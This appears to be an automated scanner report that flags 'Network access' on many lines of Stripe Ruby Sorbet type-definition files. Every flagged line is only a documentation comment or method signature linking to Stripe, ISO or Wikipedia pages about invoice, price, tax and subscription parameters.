    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 616
    }         def fixed_amount=(_fixed_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 617
    def fixed_amount=(_fixed_amount); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 618
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 628
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }         def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 629
    def tax_behavior=(_tax_behavior); end         # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.         sig { returns(T.nilable(String)) }
  • Network accessline 630
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 675
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 676
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 677
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 695
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 696
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 697
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 755
    }     def account_tax_ids=(_account_tax_ids); end     # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the St
  • Network accessline 756
    def account_tax_ids=(_account_tax_ids); end     # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-A
  • Network accessline 757
    # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe
  • Network accessline 760
    sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }     def application_fee_amount=(_application_fee_amount); end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invo
  • Network accessline 761
    def application_fee_amount=(_application_fee_amount); end     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice'
  • Network accessline 762
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti
  • Network accessline 858
    sig { params(_footer: T.nilable(String)).returns(T.nilable(String)) }     def footer=(_footer); end     # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.co
  • Network accessline 859
    def footer=(_footer); end     # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.     sig { returns(T.nilab
  • Network accessline 860
    # Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details.
  • Network accessline 872
    }     def issuer=(_issuer); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 873
    def issuer=(_issuer); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 874
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 884
    sig { params(_number: T.nilable(String)).returns(T.nilable(String)) }     def number=(_number); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding 
  • Network accessline 885
    def number=(_number); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C
  • Network accessline 886
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_create_preview_params.rbi

  • Network accessline 20
    def initialize(account: nil, type: nil); end       end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta
  • Network accessline 21
    end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec
  • Network accessline 22
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 44
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 45
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 46
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 64
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 65
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 66
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 88
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter countr
  • Network accessline 89
    def city=(_city); end           # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
  • Network accessline 90
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 108
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 109
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 110
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 272
    end       class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 273
    class PriceData < ::Stripe::RequestParams         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(
  • Network accessline 274
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 277
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 278
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.         sig { returns(String) }
  • Network accessline 279
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 282
    sig { params(_product: String).returns(String) }         def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-
  • Network accessline 283
    def product=(_product); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting
  • Network accessline 284
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 313
    sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) }       def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency]
  • Network accessline 314
    def amount=(_amount); end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items.   
  • Network accessline 315
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items.
  • Network accessline 342
    sig { params(_invoiceitem: T.nilable(String)).returns(T.nilable(String)) }       def invoiceitem=(_invoiceitem); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful
  • Network accessline 343
    def invoiceitem=(_invoiceitem); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 344
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 349
    }       def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r
  • Network accessline 350
    def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti
  • Network accessline 351
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 361
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }       def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 362
    def price=(_price); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.       sig { returns(T.nilable(InvoiceCreatePreviewParams::InvoiceItem::PriceD
  • Network accessline 363
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 373
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }       def quantity=(_quantity); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-
  • Network accessline 374
    def quantity=(_quantity); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting
  • Network accessline 375
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 378
    sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) }       def tax_behavior=(_tax_behavior); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 379
    def tax_behavior=(_tax_behavior); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.       sig { returns(T.nilable(String)) }
  • Network accessline 380
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 542
    end           class PriceData < ::Stripe::RequestParams             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 543
    class PriceData < ::Stripe::RequestParams             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { 
  • Network accessline 544
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 547
    sig { params(_currency: String).returns(String) }             def currency=(_currency); end             # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 548
    def currency=(_currency); end             # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.             sig { returns(String) }
  • Network accessline 549
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 552
    sig { params(_product: String).returns(String) }             def product=(_product); end             # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-b
  • Network accessline 553
    def product=(_product); end             # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set
  • Network accessline 554
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 587
    }           def discounts=(_discounts); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 588
    def discounts=(_discounts); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 589
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 608
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }           def price=(_price); end           # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is requ
  • Network accessline 609
    def price=(_price); end           # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.           sig {
  • Network accessline 610
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 772
    class Item < ::Stripe::RequestParams           class BillingThresholds < ::Stripe::RequestParams             # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units 
  • Network accessline 773
    class BillingThresholds < ::Stripe::RequestParams             # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs
  • Network accessline 774
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 816
    def initialize(interval: nil, interval_count: nil); end             end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
  • Network accessline 817
    end             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { returns(String) }
  • Network accessline 818
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 821
    sig { params(_currency: String).returns(String) }             def currency=(_currency); end             # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 822
    def currency=(_currency); end             # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.             sig { returns(String) }
  • Network accessline 823
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 835
    }             def recurring=(_recurring); end             # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in 
  • Network accessline 836
    def recurring=(_recurring); end             # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax
  • Network accessline 837
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 880
    }           def discounts=(_discounts); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription ite
  • Network accessline 881
    def discounts=(_discounts); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadat
  • Network accessline 882
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 897
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }           def price=(_price); end           # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 898
    def price=(_price); end           # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.           sig {
  • Network accessline 899
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 911
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }           def quantity=(_quantity); end           # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_r
  • Network accessline 912
    def quantity=(_quantity); end           # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_
  • Network accessline 913
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 955
    }         def add_invoice_items=(_add_invoice_items); end         # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the 
  • Network accessline 956
    def add_invoice_items=(_add_invoice_items); end         # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicatio
  • Network accessline 957
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 967
    }         def automatic_tax=(_automatic_tax); end         # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies 
  • Network accessline 968
    def automatic_tax=(_automatic_tax); end         # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. F
  • Network accessline 969
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 986
    sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) }         def collection_method=(_collection_method); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowerc
  • Network accessline 987
    def collection_method=(_collection_method); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { re
  • Network accessline 988
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 996
    sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) }         def default_payment_method=(_default_payment_method); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rat
  • Network accessline 997
    def default_payment_method=(_default_payment_method); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions
  • Network accessline 998
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 1047
    }         def items=(_items); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is
  • Network accessline 1048
    def items=(_items); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, 
  • Network accessline 1049
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 1059
    sig { params(_on_behalf_of: T.nilable(String)).returns(T.nilable(String)) }         def on_behalf_of=(_on_behalf_of); end         # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscr
  • Network accessline 1060
    def on_behalf_of=(_on_behalf_of); end         # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in bil
  • Network accessline 1061
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 1184
    class Item < ::Stripe::RequestParams         class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to m
  • Network accessline 1185
    class BillingThresholds < ::Stripe::RequestParams           # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.s
  • Network accessline 1186
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 1228
    def initialize(interval: nil, interval_count: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/curre
  • Network accessline 1229
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 1230
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1233
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 1234
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.           sig { returns(String) }
  • Network accessline 1235
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 1247
    }           def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the 
  • Network accessline 1248
    def recurring=(_recurring); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 1249
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 1307
    sig { params(_id: T.nilable(String)).returns(T.nilable(String)) }         def id=(_id); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional
  • Network accessline 1308
    def id=(_id); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 1309
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1324
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }         def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required
  • Network accessline 1325
    def price=(_price); end         # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.         sig { returns(T.nilable(InvoiceCreatePreviewParams::SubscriptionDet
  • Network accessline 1326
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 1336
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }         def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates
  • Network accessline 1337
    def quantity=(_quantity); end         # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta
  • Network accessline 1338
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 1360
    ); end       end       # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for pla
  • Network accessline 1361
    end       # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `mont
  • Network accessline 1362
    # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `month` or `yea
  • Network accessline 1405
    }       def items=(_items); end       # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta
  • Network accessline 1406
    def items=(_items); end       # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a 
  • Network accessline 1407
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 1505
    }     def issuer=(_issuer); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices 
  • Network accessline 1506
    def issuer=(_issuer); end     # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C
  • Network accessline 1507
    # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_finalize_invoice_params.rbi

  • Network accessline 5
    module Stripe   class InvoiceFinalizeInvoiceParams < ::Stripe::RequestParams     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `f
  • Network accessline 6
    class InvoiceFinalizeInvoiceParams < ::Stripe::RequestParams     # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoi
  • Network accessline 7
    # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_item_create_params.rbi

  • Network accessline 41
    end     class PriceData < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 42
    class PriceData < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(Stri
  • Network accessline 43
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 46
